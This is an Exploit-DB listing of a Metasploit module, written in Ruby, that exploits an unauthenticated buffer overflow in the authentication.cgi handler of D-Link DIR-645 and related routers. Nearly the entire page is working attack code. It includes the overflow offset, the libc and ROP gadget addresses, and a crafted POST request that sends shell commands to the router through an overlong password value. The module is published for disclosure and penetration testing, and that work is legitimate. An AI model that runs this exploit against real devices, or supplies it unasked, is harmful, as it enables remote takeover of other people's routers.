D-Link Devices – ‘Authentication.cgi’ Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2014-06-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33862/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStagerEcho
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'D-Link authentication.cgi Buffer Overflow',
    'Description'=> %q{
    This module exploits an remote buffer overflow vulnerability on several D-Link routers.
    The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
    long password values. The vulnerability can be exploitable without authentication. This
    module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
    such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
    },
    'Author' =>
    [
    'Roberto Paleari', # Vulnerability discovery
    'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
    'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
    ],
    'License'=> MSF_LICENSE,
    'Platform' => ['linux'],
    'Arch' => ARCH_MIPSLE,
    'References' =>
    [
    ['OSVDB', '95951'],
    ['EDB', '27283'],
    ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
    ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
    ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt']#original advisory
    ],
    'Targets'=>
    [
    [ 'D-Link DIR-645 1.03',
    {
    'Offset'=> 1011,
    'LibcBase'=> 0x2aaf8000,#Router
    #'LibcBase' => 0x40854000,# QEMU environment
    'System'=> 0x000531FF,# address of system
    'CalcSystem'=> 0x000158C8,# calculate the correct address of system
    'CallSystem'=> 0x000159CC,# call our system
    }
    ]
    ],
    'DisclosureDate' => 'Feb 08 2013',
    'DefaultTarget' => 0))
    end
    
    def check
    begin
    res = send_request_cgi({
    'uri' => "/authentication.cgi",
    'method'=> 'GET'
    })
    
    if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
    return Exploit::CheckCode::Detected
    end
    rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Unknown
    end
    
    Exploit::CheckCode::Unknown
    end
    
    def exploit
    print_status("#{peer} - Accessing the vulnerable URL...")
    
    unless check == Exploit::CheckCode::Detected
    fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end
    
    print_status("#{peer} - Exploiting...")
    execute_cmdstager(
    :linemax => 200,
    :concat_operator => " && "
    )
    end
    
    def prepare_shellcode(cmd)
    shellcode = rand_text_alpha_upper(target['Offset'])# padding
    shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
    shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
    shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
    
    # .text:000159CC 10 00 B5 27addiu $s5, $sp, 0x170+var_160# get the address of our command into $s5
    # .text:000159D0 21 28 60 02move$a1, $s3 # not used
    # .text:000159D4 21 30 20 02move$a2, $s1 # not used
    # .text:000159D8 21 C8 00 02move$t9, $s0 # $s0 - system
    # .text:000159DC 09 F8 20 03jalr$t9 # call system
    # .text:000159E0 21 20 A0 02move$a0, $s5 # our cmd -> into a0 as parameter for system
    
    shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
    shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
    
    # .text:000158C8 21 C8 A0 02move$t9, $s5 # s5 - our second gadget
    # .text:000158CC 09 F8 20 03jalr$t9# jump the second gadget
    # .text:000158D0 01 00 10 26addiu $s0, 1 # s0 our system address - lets calculate the right address
    
    shellcode << rand_text_alpha_upper(16) # filler in front of our command
    shellcode << cmd
    end
    
    def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)
    uid = rand_text_alpha(4)
    begin
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => "/authentication.cgi",
    'cookie' => "uid=#{uid}",
    'encode_params' => false,
    'vars_post' => {
    'uid'=> uid,
    'password' => rand_text_alpha(3) + shellcode,
    }
    })
    return res
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
    end
    end